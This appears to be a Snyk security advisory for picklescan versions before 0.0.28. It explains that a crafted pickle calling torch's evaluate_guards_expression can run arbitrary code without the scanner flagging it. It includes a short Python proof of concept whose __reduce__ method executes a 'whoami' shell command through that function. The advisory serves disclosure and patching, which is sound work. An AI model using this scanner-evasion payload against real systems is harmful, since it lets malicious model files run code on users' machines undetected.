Remote Code Execution (RCE) Affecting picklescan package, versions [,0.0.28)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-PICKLESCAN-12177788
  • published24 Aug 2025
  • disclosed22 Aug 2025
  • creditFredericDT

Introduced: 22 Aug 2025

CVE NOT AVAILABLE CWE-94  (opens in a new tab)

How to fix?

Upgrade picklescan to version 0.0.28 or higher.

Overview

picklescan is a Security scanner detecting Python Pickle files performing suspicious actions

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient detection in the evaluate_guards_expression function. An attacker can execute arbitrary code by crafting a malicious pickle file that leverages this function during deserialization, which will not be detected as malicious and may therefore be trusted by a user to load unsafely with pickle.

PoC

import types
import torch.fx.experimental.symbolic_shapes as symbolic_shapes

class EvilTorchFxSymbolicShapesEvaluateGuardsExpression:
    def __reduce__(self):
        fake_self = str
        code = "__import__('os').system('whoami')"
        args = []
        return symbolic_shapes.ShapeEnv.evaluate_guards_expression, (fake_self, code, args)

CVSS Base Scores

version 4.0
version 3.1